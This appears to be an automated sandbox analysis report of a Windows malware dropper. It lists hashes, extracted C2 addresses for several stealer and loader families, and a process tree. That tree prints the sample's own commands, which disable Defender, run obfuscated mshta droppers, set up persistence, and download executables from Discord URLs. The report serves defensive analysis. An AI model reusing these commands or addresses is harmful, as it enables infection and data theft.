Analysis

  • max time kernel
    14s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    19/11/2021, 18:12

General

  • Target

    ab0bd8932a92421272b5911e2ebf488b.exe

  • Size

    9.7MB

  • MD5

    ab0bd8932a92421272b5911e2ebf488b

  • SHA1

    8fc75411fae94208b303c30faf3f4ba7385f8e22

  • SHA256

    61299f208e35ed6fa26b16639ff495d378f64f9486a70c29eae80592d930e791

  • SHA512

    587d69b5016732170311cbfd85ca04c5b8127158e839e0155a6c225f3dd4e9a9f8a38b758316d557ceaf1b7c676c86f46250a5d3fd34c33681003cc41f1ddbc9

Malware Config

Extracted

Family

socelars

C2

http://www.gianninidesign.com/

Extracted

Family

amadey

Version

2.82

C2

185.215.113.45/g4MbvE/index.php

Extracted

Family

vidar

Version

48.3

Botnet

933

Attributes
  • profile_id

    933

Extracted

Family

smokeloader

Version

2020

C2

http://membro.at/upload/

http://jeevanpunetha.com/upload/

http://misipu.cn/upload/

http://zavodooo.ru/upload/

http://targiko.ru/upload/

http://vues3d.com/upload/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

media151

C2

91.121.67.60:51630

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Vidar Stealer 2 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 18 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 10 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ab0bd8932a92421272b5911e2ebf488b.exe
    "C:\Users\Admin\AppData\Local\Temp\ab0bd8932a92421272b5911e2ebf488b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4308
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3852
      • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:4092
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4584
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2740
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4572
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
              PID:4696
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Mon135d1cd0566c227c.exe
            4⤵
              PID:4644
              • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon135d1cd0566c227c.exe
                Mon135d1cd0566c227c.exe
                5⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:1280
                • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                  6⤵
                    PID:2680
                    • C:\Users\Admin\AppData\Local\Temp\SoftwareInstaller2191.exe
                      "C:\Users\Admin\AppData\Local\Temp\SoftwareInstaller2191.exe"
                      7⤵
                        PID:4000
                        • C:\Users\Admin\AppData\Roaming\3490427.exe
                          "C:\Users\Admin\AppData\Roaming\3490427.exe"
                          8⤵
                            PID:4604
                          • C:\Users\Admin\AppData\Roaming\4775316.exe
                            "C:\Users\Admin\AppData\Roaming\4775316.exe"
                            8⤵
                              PID:1936
                              • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                9⤵
                                  PID:5196
                              • C:\Users\Admin\AppData\Roaming\6971572.exe
                                "C:\Users\Admin\AppData\Roaming\6971572.exe"
                                8⤵
                                  PID:2688
                                • C:\Users\Admin\AppData\Roaming\1961519.exe
                                  "C:\Users\Admin\AppData\Roaming\1961519.exe"
                                  8⤵
                                    PID:3804
                                    • C:\Users\Admin\AppData\Roaming\1112626.exe
                                      "C:\Users\Admin\AppData\Roaming\1112626.exe"
                                      9⤵
                                        PID:728
                                        • C:\Windows\SysWOW64\mshta.exe
                                          "C:\Windows\System32\mshta.exe" vbscRIpT: cLosE ( CREaTeOBJeCT ( "wsCrIpt.SheLl" ). run ( "cMD.exe /C cOPY /Y ""C:\Users\Admin\AppData\Roaming\1112626.exe"" ..\IGEVs2AgDHRD.EXe && StArt ..\IGEvs2AgDHRD.EXE /PGeb9DQls~acXsvr9DzE3PVM & iF """" =="""" for %L In ( ""C:\Users\Admin\AppData\Roaming\1112626.exe"" ) do taskkill -IM ""%~NxL"" -F " , 0, trUE ) )
                                          10⤵
                                            PID:6044
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Roaming\1112626.exe" ..\IGEVs2AgDHRD.EXe&& StArt ..\IGEvs2AgDHRD.EXE /PGeb9DQls~acXsvr9DzE3PVM & iF "" =="" for %L In ( "C:\Users\Admin\AppData\Roaming\1112626.exe" ) do taskkill -IM "%~NxL" -F
                                              11⤵
                                                PID:768
                                                • C:\Users\Admin\AppData\Local\Temp\IGEVs2AgDHRD.EXe
                                                  ..\IGEvs2AgDHRD.EXE /PGeb9DQls~acXsvr9DzE3PVM
                                                  12⤵
                                                    PID:6408
                                                    • C:\Windows\SysWOW64\mshta.exe
                                                      "C:\Windows\System32\mshta.exe" vbscRIpT: cLosE ( CREaTeOBJeCT ( "wsCrIpt.SheLl" ). run ( "cMD.exe /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\IGEVs2AgDHRD.EXe"" ..\IGEVs2AgDHRD.EXe && StArt ..\IGEvs2AgDHRD.EXE /PGeb9DQls~acXsvr9DzE3PVM & iF ""/PGeb9DQls~acXsvr9DzE3PVM "" =="""" for %L In ( ""C:\Users\Admin\AppData\Local\Temp\IGEVs2AgDHRD.EXe"" ) do taskkill -IM ""%~NxL"" -F " , 0, trUE ) )
                                                      13⤵
                                                        PID:6584
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\IGEVs2AgDHRD.EXe" ..\IGEVs2AgDHRD.EXe&& StArt ..\IGEvs2AgDHRD.EXE /PGeb9DQls~acXsvr9DzE3PVM & iF "/PGeb9DQls~acXsvr9DzE3PVM " =="" for %L In ( "C:\Users\Admin\AppData\Local\Temp\IGEVs2AgDHRD.EXe" ) do taskkill -IM "%~NxL" -F
                                                          14⤵
                                                            PID:6820
                                                        • C:\Windows\SysWOW64\mshta.exe
                                                          "C:\Windows\System32\mshta.exe" Vbscript: CloSe ( cREATEobjeCT( "WScRipT.SHelL" ). rUN ( "cMD.EXE /q /R eCHo | set /p = ""MZ"" > TiSQ.G & coPy /Y /b TisQ.G + zO4NQ.~S+ hcd6.YS + L8KN6h.g ..\VYGDVP.ly & DEl /q *& stArT msiexec.exe -Y ..\VYGDVP.ly ", 0 , tRuE ) )
                                                          13⤵
                                                            PID:4928
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /q /R eCHo | set /p = "MZ" > TiSQ.G & coPy /Y /b TisQ.G + zO4NQ.~S+ hcd6.YS + L8KN6h.g ..\VYGDVP.ly & DEl /q *& stArT msiexec.exe -Y ..\VYGDVP.ly
                                                              14⤵
                                                                PID:6632
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /S /D /c" eCHo "
                                                                  15⤵
                                                                    PID:1232
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>TiSQ.G"
                                                                    15⤵
                                                                      PID:7056
                                                                    • C:\Windows\SysWOW64\msiexec.exe
                                                                      msiexec.exe -Y ..\VYGDVP.ly
                                                                      15⤵
                                                                        PID:6176
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  taskkill -IM "1112626.exe" -F
                                                                  12⤵
                                                                  • Kills process with taskkill
                                                                  PID:6876
                                                          • C:\Users\Admin\AppData\Roaming\211320.exe
                                                            "C:\Users\Admin\AppData\Roaming\211320.exe"
                                                            9⤵
                                                              PID:3936
                                                          • C:\Users\Admin\AppData\Roaming\8883359.exe
                                                            "C:\Users\Admin\AppData\Roaming\8883359.exe"
                                                            8⤵
                                                              PID:4252
                                                          • C:\Users\Admin\AppData\Local\Temp\inst1.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
                                                            7⤵
                                                              PID:4680
                                                            • C:\Users\Admin\AppData\Local\Temp\chrome update.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\chrome update.exe"
                                                              7⤵
                                                                PID:2424
                                                                • C:\Windows\system32\WerFault.exe
                                                                  C:\Windows\system32\WerFault.exe -u -p 2424 -s 1532
                                                                  8⤵
                                                                  • Program crash
                                                                  PID:1264
                                                              • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                7⤵
                                                                  PID:728
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 728 -s 808
                                                                    8⤵
                                                                    • Program crash
                                                                    PID:1520
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 728 -s 840
                                                                    8⤵
                                                                    • Program crash
                                                                    PID:1128
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 728 -s 864
                                                                    8⤵
                                                                    • Program crash
                                                                    PID:5300
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 728 -s 880
                                                                    8⤵
                                                                    • Program crash
                                                                    PID:5828
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 728 -s 964
                                                                    8⤵
                                                                    • Program crash
                                                                    PID:6080
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 728 -s 888
                                                                    8⤵
                                                                    • Program crash
                                                                    PID:504
                                                                • C:\Users\Admin\AppData\Local\Temp\zhangliang-game.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\zhangliang-game.exe"
                                                                  7⤵
                                                                    PID:1732
                                                                  • C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
                                                                    7⤵
                                                                      PID:700
                                                                      • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                        8⤵
                                                                          PID:4056
                                                                      • C:\Users\Admin\AppData\Local\Temp\chrome2.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
                                                                        7⤵
                                                                          PID:4232
                                                                          • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                            8⤵
                                                                              PID:5776
                                                                              • C:\Windows\System32\conhost.exe
                                                                                "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                                9⤵
                                                                                  PID:5068
                                                                            • C:\Users\Admin\AppData\Local\Temp\chrome3.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\chrome3.exe"
                                                                              7⤵
                                                                                PID:2260
                                                                                • C:\Windows\system32\WerFault.exe
                                                                                  C:\Windows\system32\WerFault.exe -u -p 2260 -s 1508
                                                                                  8⤵
                                                                                  • Program crash
                                                                                  PID:5324
                                                                              • C:\Users\Admin\AppData\Local\Temp\Chrome5.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
                                                                                7⤵
                                                                                  PID:980
                                                                                  • C:\Windows\System32\conhost.exe
                                                                                    "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
                                                                                    8⤵
                                                                                      PID:1748
                                                                                  • C:\Users\Admin\AppData\Local\Temp\chrome1.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\chrome1.exe"
                                                                                    7⤵
                                                                                      PID:380
                                                                                    • C:\Users\Admin\AppData\Local\Temp\Worldoffer.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\Worldoffer.exe"
                                                                                      7⤵
                                                                                        PID:4636
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c Mon13d453d994180b.exe
                                                                                  4⤵
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:4264
                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13d453d994180b.exe
                                                                                    Mon13d453d994180b.exe
                                                                                    5⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:1180
                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-1GIM0.tmp\Mon13d453d994180b.tmp
                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-1GIM0.tmp\Mon13d453d994180b.tmp" /SL5="$7007A,1104945,831488,C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13d453d994180b.exe"
                                                                                      6⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:2340
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c Mon133b4073df5e3f72.exe
                                                                                  4⤵
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:3756
                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon133b4073df5e3f72.exe
                                                                                    Mon133b4073df5e3f72.exe
                                                                                    5⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:1672
                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                      "C:\Windows\System32\mshta.exe" VbScriPt: CLOSE ( cReatEObjECT ( "WscripT.SHell").run ( "C:\Windows\system32\cmd.exe /Q /C tyPe ""C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon133b4073df5e3f72.exe"" > 3SEL8GaJ5WrN1.EXe && StaRt 3SEL8GaJ5wRN1.EXe /PH_7h_09F5OVN3UJ0hRF1x0tV8JPL9& iF """" =="""" for %Z IN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon133b4073df5e3f72.exe"") do taskkill /f -im ""%~nXZ"" " , 0 , TRUE ) )
                                                                                      6⤵
                                                                                        PID:4276
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "C:\Windows\system32\cmd.exe" /Q /C tyPe "C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon133b4073df5e3f72.exe" > 3SEL8GaJ5WrN1.EXe && StaRt 3SEL8GaJ5wRN1.EXe /PH_7h_09F5OVN3UJ0hRF1x0tV8JPL9& iF "" =="" for %Z IN ( "C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon133b4073df5e3f72.exe") do taskkill /f -im "%~nXZ"
                                                                                          7⤵
                                                                                            PID:520
                                                                                            • C:\Users\Admin\AppData\Local\Temp\3SEL8GaJ5WrN1.EXe
                                                                                              3SEL8GaJ5wRN1.EXe /PH_7h_09F5OVN3UJ0hRF1x0tV8JPL9
                                                                                              8⤵
                                                                                                PID:1120
                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                  "C:\Windows\System32\mshta.exe" VbScriPt: CLOSE ( cReatEObjECT ( "WscripT.SHell").run ( "C:\Windows\system32\cmd.exe /Q /C tyPe ""C:\Users\Admin\AppData\Local\Temp\3SEL8GaJ5WrN1.EXe"" > 3SEL8GaJ5WrN1.EXe && StaRt 3SEL8GaJ5wRN1.EXe /PH_7h_09F5OVN3UJ0hRF1x0tV8JPL9& iF ""/PH_7h_09F5OVN3UJ0hRF1x0tV8JPL9"" =="""" for %Z IN ( ""C:\Users\Admin\AppData\Local\Temp\3SEL8GaJ5WrN1.EXe"") do taskkill /f -im ""%~nXZ"" " , 0 , TRUE ) )
                                                                                                  9⤵
                                                                                                    PID:2944
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\system32\cmd.exe" /Q /C tyPe "C:\Users\Admin\AppData\Local\Temp\3SEL8GaJ5WrN1.EXe" > 3SEL8GaJ5WrN1.EXe && StaRt 3SEL8GaJ5wRN1.EXe /PH_7h_09F5OVN3UJ0hRF1x0tV8JPL9& iF "/PH_7h_09F5OVN3UJ0hRF1x0tV8JPL9" =="" for %Z IN ( "C:\Users\Admin\AppData\Local\Temp\3SEL8GaJ5WrN1.EXe") do taskkill /f -im "%~nXZ"
                                                                                                      10⤵
                                                                                                        PID:4292
                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                      "C:\Windows\System32\mshta.exe" vbscript:ClOse ( CReatEobJeCt ("wscrIPt.SHElL" ). RuN ( "C:\Windows\system32\cmd.exe /q/r EChO | sEt /P = ""MZ"" >XlaE8u7.Rq & cOPy /B /y XLaE8u7.rQ + UnS0AW.LjZ + M_Ko01.HO + GNPM.EM + VLcSO2Y.Z+ fQRB.5 pcAKEo.F & STart control.exe .\PcAKEO.F " ,0 ,TrUe ) )
                                                                                                      9⤵
                                                                                                        PID:5284
                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                      taskkill /f -im "Mon133b4073df5e3f72.exe"
                                                                                                      8⤵
                                                                                                      • Kills process with taskkill
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1376
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c Mon1348816450.exe
                                                                                              4⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:540
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon1348816450.exe
                                                                                                Mon1348816450.exe
                                                                                                5⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:1464
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c Mon13459b4085.exe
                                                                                              4⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:764
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13459b4085.exe
                                                                                                Mon13459b4085.exe
                                                                                                5⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:1376
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c Mon13136643d24e51.exe
                                                                                              4⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:876
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC0FFECE5\Mon13136643d24e51.exe
                                                                                                Mon13136643d24e51.exe
                                                                                                5⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:1640
                                                                                                • C:\Users\Admin\Pictures\Adobe Films\gN6O2dq2WbhTm6fJh8uI6Yim.exe
                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\gN6O2dq2WbhTm6fJh8uI6Yim.exe"
                                                                                                  6⤵
                                                                                                    PID:4404
                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\2pxQh0RIhP1_2eIKt4DiswNe.exe
                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\2pxQh0RIhP1_2eIKt4DiswNe.exe"
                                                                                                    6⤵
                                                                                                      PID:5560
                                                                                                      • C:\Users\Admin\Documents\0TgdVaMVlWcbBmGmRMGxJ3IH.exe
                                                                                                        "C:\Users\Admin\Documents\0TgdVaMVlWcbBmGmRMGxJ3IH.exe"
                                                                                                        7⤵
                                                                                                          PID:3804
                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\HlulqWBz8a9zsE6VDUWOipBs.exe
                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\HlulqWBz8a9zsE6VDUWOipBs.exe"
                                                                                                            8⤵
                                                                                                              PID:664
                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\62nf1QfZnZBgBmfbNYQtBOHN.exe
                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\62nf1QfZnZBgBmfbNYQtBOHN.exe"
                                                                                                              8⤵
                                                                                                                PID:5268
                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\Ha9gXlhGWwGJxfMjgAQhtHFn.exe
                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\Ha9gXlhGWwGJxfMjgAQhtHFn.exe"
                                                                                                                8⤵
                                                                                                                  PID:7052
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                    9⤵
                                                                                                                      PID:960
                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                        taskkill /f /im chrome.exe
                                                                                                                        10⤵
                                                                                                                        • Kills process with taskkill
                                                                                                                        PID:2020
                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\V3jNMH1ylQbvw88MBTOlnGUc.exe
                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\V3jNMH1ylQbvw88MBTOlnGUc.exe"
                                                                                                                    8⤵
                                                                                                                      PID:6404
                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\97EgE0NFBrxWbeB_jyyKm6w2.exe
                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\97EgE0NFBrxWbeB_jyyKm6w2.exe"
                                                                                                                      8⤵
                                                                                                                        PID:5408
                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\b20TIJmqcW5FHR9QYQn2ctA5.exe
                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\b20TIJmqcW5FHR9QYQn2ctA5.exe"
                                                                                                                        8⤵
                                                                                                                          PID:4440
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-I95G5.tmp\b20TIJmqcW5FHR9QYQn2ctA5.tmp
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-I95G5.tmp\b20TIJmqcW5FHR9QYQn2ctA5.tmp" /SL5="$A0058,506127,422400,C:\Users\Admin\Pictures\Adobe Films\b20TIJmqcW5FHR9QYQn2ctA5.exe"
                                                                                                                            9⤵
                                                                                                                              PID:6976
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-4AOKR.tmp\lakazet.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-4AOKR.tmp\lakazet.exe" /S /UID=2709
                                                                                                                                10⤵
                                                                                                                                  PID:5988
                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\_ErsoofZPN6myvRecVPDvo3t.exe
                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\_ErsoofZPN6myvRecVPDvo3t.exe"
                                                                                                                              8⤵
                                                                                                                                PID:1240
                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\_ErsoofZPN6myvRecVPDvo3t.exe
                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\_ErsoofZPN6myvRecVPDvo3t.exe" -u
                                                                                                                                  9⤵
                                                                                                                                    PID:3240
                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\uuRwsRBBygyLfdc3r7TifpNf.exe
                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\uuRwsRBBygyLfdc3r7TifpNf.exe"
                                                                                                                                  8⤵
                                                                                                                                    PID:5448
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                                                                  7⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:3796
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                                                                  7⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4296
                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\vo7gM1WgFlIHRA3ee6pfKIPW.exe
                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\vo7gM1WgFlIHRA3ee6pfKIPW.exe"
                                                                                                                                6⤵
                                                                                                                                  PID:5676
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3EE9.tmp\3EEA.tmp\3EEB.bat "C:\Users\Admin\Pictures\Adobe Films\vo7gM1WgFlIHRA3ee6pfKIPW.exe""
                                                                                                                                    7⤵
                                                                                                                                      PID:5912
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\3EE9.tmp\3EEA.tmp\extd.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\3EE9.tmp\3EEA.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
                                                                                                                                        8⤵
                                                                                                                                          PID:5796
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\3EE9.tmp\3EEA.tmp\extd.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\3EE9.tmp\3EEA.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/910827251535314946/910828711157309470/18.exe" "18.exe" "" "" "" "" "" ""
                                                                                                                                          8⤵
                                                                                                                                            PID:4492
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\3EE9.tmp\3EEA.tmp\extd.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\3EE9.tmp\3EEA.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/910827251535314946/910828757600858142/Transmissibility.exe" "Transmissibility.exe" "" "" "" "" "" ""
                                                                                                                                            8⤵
                                                                                                                                              PID:4144
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\28846\18.exe
                                                                                                                                              18.exe
                                                                                                                                              8⤵
                                                                                                                                                PID:1908
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\28846\Transmissibility.exe
                                                                                                                                                Transmissibility.exe
                                                                                                                                                8⤵
                                                                                                                                                  PID:908
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\3EE9.tmp\3EEA.tmp\extd.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\3EE9.tmp\3EEA.tmp\extd.exe "" "" "" "" "" "" "" "" ""
                                                                                                                                                  8⤵
                                                                                                                                                    PID:1120
                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\MwrYFdDwXMjBNPBXln8Qxvw6.exe
                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\MwrYFdDwXMjBNPBXln8Qxvw6.exe"
                                                                                                                                                6⤵
                                                                                                                                                  PID:5868
                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\ZSgqt8nl8BBcMk6806AnfgO0.exe
                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\ZSgqt8nl8BBcMk6806AnfgO0.exe"
                                                                                                                                                  6⤵
                                                                                                                                                    PID:5980
                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\GIVkx62dQqNgqlXffRYYiDBU.exe
                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\GIVkx62dQqNgqlXffRYYiDBU.exe"
